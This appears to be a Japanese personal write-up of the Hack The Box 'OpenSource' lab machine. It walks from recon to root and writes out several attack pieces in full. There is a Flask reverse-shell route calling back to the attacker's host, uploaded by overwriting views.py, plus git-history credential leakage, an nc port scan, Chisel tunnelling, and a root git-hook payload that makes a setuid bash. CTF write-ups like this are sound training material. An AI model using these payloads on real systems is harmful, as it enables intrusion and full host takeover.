Skip to content

Hack the box - OpenSource

Hack the boxのOepnSourceを完了したのでメモ。

難易度Writeupを
Easy見た

1. nmapでrecon

  • 22番でSSH、80番でWebサーバが動いていることを確認

2. Webサーバが動いているのでアクセス

  • upcloudというファイル共有OSSのホームページ?
  • gobusterをかける+ページ内を探索すると有効なリンクは以下の2つくらいしかなさそう
    • /download
    • /upcloud
    • /console

3. /consoleにアクセス

  • Interactive Consoleなるものが現れてPythonで操作できるみたいだが、PIN入力を突破しなければ使えない

4. /upcloudにアクセス

  • ファイルのアップロード画面が表示される
  • 試しにhogehoge.txtをアップしてみると、/uploads/hogehoge.txtというパスでダウンロードできるようなリンクが発行される
  • Burp経由でアクセスを見るとこんな感じ
POST /upcloud HTTP/1.1
Host: <IPADDR>:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------235176309523446480383430791439
Content-Length: 240
Origin: http://<IPADDR>:80
Connection: close
Referer: http://<IPADDR>:80/upcloud
Cookie: sidebar_collapsed=false
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------235176309523446480383430791439
Content-Disposition: form-data; name="file"; filename="hogehoge.txt"
Content-Type: text/plain
hogehoge content
-----------------------------235176309523446480383430791439--

5. /downloadにアクセス

  • zipが落ちてくる
  • 展開すると以下の構成
    ├── app
    │   ├── app
    │   │   ├── configuration.py
    │   │   ├── __init__.py
    │   │   ├── static
    │   │   │   ├── css
    │   │   │   │   └── style.css
    │   │   │   ├── js
    │   │   │   │   ├── ie10-viewport-bug-workaround.js
    │   │   │   │   └── script.js
    │   │   │   └── vendor
    │   │   │   └── (省略)
    │   │   ├── templates
    │   │   │   ├── index.html
    │   │   │   ├── success.html
    │   │   │   └── upload.html
    │   │   ├── utils.py
    │   │   └── views.py
    │   ├── INSTALL.md
    │   ├── public
    │   │   └── uploads
    │   └── run.py
    ├── build-docker.sh
    ├── config
    │   └── supervisord.conf
    └── Dockerfile

6. コードを見ていく

  • /Dockerfile
    • Webアプリは
      • コンテナで動いており、ホストの80番ポートをゲストの80番ポートにバインドしている
      • Flaskが使われている
      • コンテナにインストールされたsupervisor上で動作させている
        • configは/config/supervisord.confにある
          • user=rootは何かに使えるか
        • python /app/run.pyでアプリケーションが動作
  • /config/supervisord.conf
    • user=rootは何かに使えるか
    • python /app/run.pyでアプリケーションが動作
  • /appディレクトリ
    • /app/run.py/app/appディレクトリのモジュールを読み込んで起動してるだけ
    • /app/app/__init__.py:環境変数のMODEで使用するコンフィグを本番/検証環境で切り替え
    • /app/app/configuration.py:各環境に応じたコンフィグがセットされている、CSRF_ENABLEDが気になる
    • /app/app/views.py:ビューを定義
      • /
        • GETだったらupload.htmlを返す
        • POSTだったら
          • request.files(アップロードされたファイルを格納した変数)からファイルを抽出
          • ファイルシステム上の/現在のディレクトリ/public/uploads/ファイル名で保存
          • success.htmlを返すともにファイルのダウンロードリンク(http:/<IPADDR>/uploads/filename)を表示する
      • /uploads/<path:path:>
        • pathからget_file_nameでセキュアにファイル名を抽出
        • /現在のディレクトリ/public/uploads/ファイル名にあるファイルを返す
    • /app/app/utils.pyview.pyで使うユーティリティを記述
      • get_file_name()recursive_replace()は引数に渡されるファイル名から../を再帰的に除いてディレクトリトラバーサルを回避する
      • get_unique_upload_name():どこにも使われてなさそう、実装途中?
    • /templatesディレクトリ:各画面のテンプレート
  • .git

7. .gitを探索

  • publicdevのbranchがある
  • git logコマンドで過去のコミットが見れる
  • git diffでコミット間の差分を見ていると気になる文字列を発見
{
"python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
"http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
"http.proxyStrictSSL": false
}

8. Webアプリにおけるos.path.join()の性質

  • 以下リンクにある通り、os.path.join()の2番目以降の引数に絶対パスを指定すると、パスを結合せずにその絶対パスが返される
  • この性質を利用して、Webアプリのコードを書き換える

9. webシェルの作成とアップロード

  • ソースコードに以下を追記
...
import sys,socket,os,pty
...
@app.route('/shell')
def execute():
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.22",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
  • Burpで適当なファイルを/upcloudへアップロードする際に、リクエストを書き換える
    • filenameパラメータは/app/app/views.pyにする
    • ファイルコンテンツは追記したviews.pyのソースコード全部
  • アップロードが完了したら、/shellへアクセスして確認 → ncでTCPサーバを立ち上げてるとシェルが取れる

10. コンテナ内の探索

  • 特に興味深いものはない

11. 横展開のためのネットワーク探索

  • ncを使ったポートスキャン
Terminal window
/app # for i in $(seq 1 65535); do nc -nvz -w 1 172.17.0.1 $i 2>&1; done | grep -v "refused"
172.17.0.1 (172.17.0.1:22) open
172.17.0.1 (172.17.0.1:80) open
172.17.0.1 (172.17.0.1:3000) open
172.17.0.1 (172.17.0.1:6000) open
172.17.0.1 (172.17.0.1:6001) open
172.17.0.1 (172.17.0.1:6002) open
172.17.0.1 (172.17.0.1:6003) open
172.17.0.1 (172.17.0.1:6004) open
172.17.0.1 (172.17.0.1:6005) open
172.17.0.1 (172.17.0.1:6006) open
172.17.0.1 (172.17.0.1:6007) open
  • これらのポートにアクセスしたいが、ローカルマシンからでは22と80しかアクセスできない
  • Chiselを使ってWebアプリのコンテナを踏み台にする

12. Chisel

Terminal window
$ ./chisel_1.8.1_linux_amd64 server -p 8888 --reverse
  • Webアプリが動くコンテナにて
Terminal window
$ ./chisel_1.8.1_linux_amd64 client 10.10.14.34:8888 R:3000:172.17.0.1:3000

これで、ローカルマシンの3000ポートは172.17.0.1:3000に転送されるようになった

13. 172.17.0.1:3000にアクセス:Gitea

  • home_backupなるレポジトリにSSHの秘密鍵が入っているので、これでdev01ユーザとしてSSHログインできる → フラグ奪取

14. dev01から権限昇格のためのホスト内探索

  • sudodockerは使えない
  • /home/dev01/.git/に気付く
    • git logをするといくつかのコミットが見れるが、コメントがすべてBackup for yyyy-mm-dd
    • 自動でバックアップする機構が存在する?
  • Cronで仕掛けてるかどうかも確認するためpspy
    • /bin/bash /usr/local/bin/git-syncが定期的に実行されている
  • ファイルを見てみるとこんな感じ、バックアップの正体はこれだった
    • rootで動作するので、これは使えそう
dev01@opensource:~$ ls -la /usr/local/bin/git-sync
-rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-sync
dev01@opensource:~$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi

15. Git Hooksを活用する

  • Gitで特定のイベント発生時にスクリプトを実行するGit Hooksなる仕組みがあるらしい:Git - Git フック
  • .git/hooks/にカスタムスクリプトを配置すれば、/usr/local/bin/git-syncをトリガーに実行されるはず、それもroot権限で
  • こんな感じで作成
#!/bin/bash
cp /bin/bash /tmp/poc
chown root:root /tmp/poc
chmod 4777 /tmp/poc
  • 適当に待ってると、pspyを垂れ流してる画面に上記のカスタムスクリプトを実行したログも出てくる
  • /tmp/poc -pで権限昇格
Terminal window
dev01@opensource:~$ /tmp/poc -p
poc-4.4# id
uid=1000(dev01) gid=1000(dev01) euid=0(root) groups=1000(dev01)
poc-4.4# whoami
root